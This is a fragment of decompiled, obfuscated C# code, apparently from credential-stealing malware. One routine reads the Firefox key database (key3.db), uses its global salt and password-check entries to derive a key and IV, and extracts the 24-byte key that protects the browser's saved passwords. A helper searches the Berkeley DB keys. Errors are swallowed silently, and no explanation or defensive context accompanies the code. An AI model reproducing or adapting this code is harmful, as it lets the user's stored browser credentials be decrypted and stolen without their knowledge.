// Token: 0x06000CC8 RID: 3272 RVA: 0x00028A30 File Offset: 0x00026C30 private static byte[] p3k(string file) { byte[] array = new byte[24]; try { if (!File.Exists(file)) { return(array); } new DataTable(); ррп6 berkeleyDB = new ррп6(file); о6а о6а = new о6а(hhhh6r.vbv(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = hhhh6r.vbv(berkeleyDB, (string x) => x.Equals("global-salt")); р6прлгв р6прлгв = new р6прлгв(rcvr.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), rcvr.ConvertHexStringToByteArray(о6а.EntrySalt)); р6прлгв.го7па(); шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, rcvr.ConvertHexStringToByteArray(о6а.Passwordcheck), PaddingMode.None); нкрпар нкрпар = Апн.Create(rcvr.ConvertHexStringToByteArray(hhhh6r.vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); р6прлгв р6прлгв2 = new р6прлгв(rcvr.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), нкрпар.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); р6прлгв2.го7па(); нкрпар нкрпар2 = Апн.Create(Апн.Create(Encoding.Default.GetBytes(шо67г.lTRjlt(р6прлгв2.DataKey, р6прлгв2.DataIV, нкрпар.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (нкрпар2.Objects[0].Objects[3].ObjectData.Length > 24) { Array.Copy(нкрпар2.Objects[0].Objects[3].ObjectData, нкрпар2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); } else { array = нкрпар2.Objects[0].Objects[3].ObjectData; } } catch (Exception) { } return(array); }
// Token: 0x06000CC9 RID: 3273 RVA: 0x00028C98 File Offset: 0x00026E98 private static string vbv(ррп6 berkeleyDB, Func <string, bool> predicate) { string text = string.Empty; try { foreach (KeyValuePair <string, string> keyValuePair in berkeleyDB.Keys) { if (predicate(keyValuePair.Key)) { text = keyValuePair.Value; } } } catch (Exception) { } return(text.Replace("-", string.Empty)); }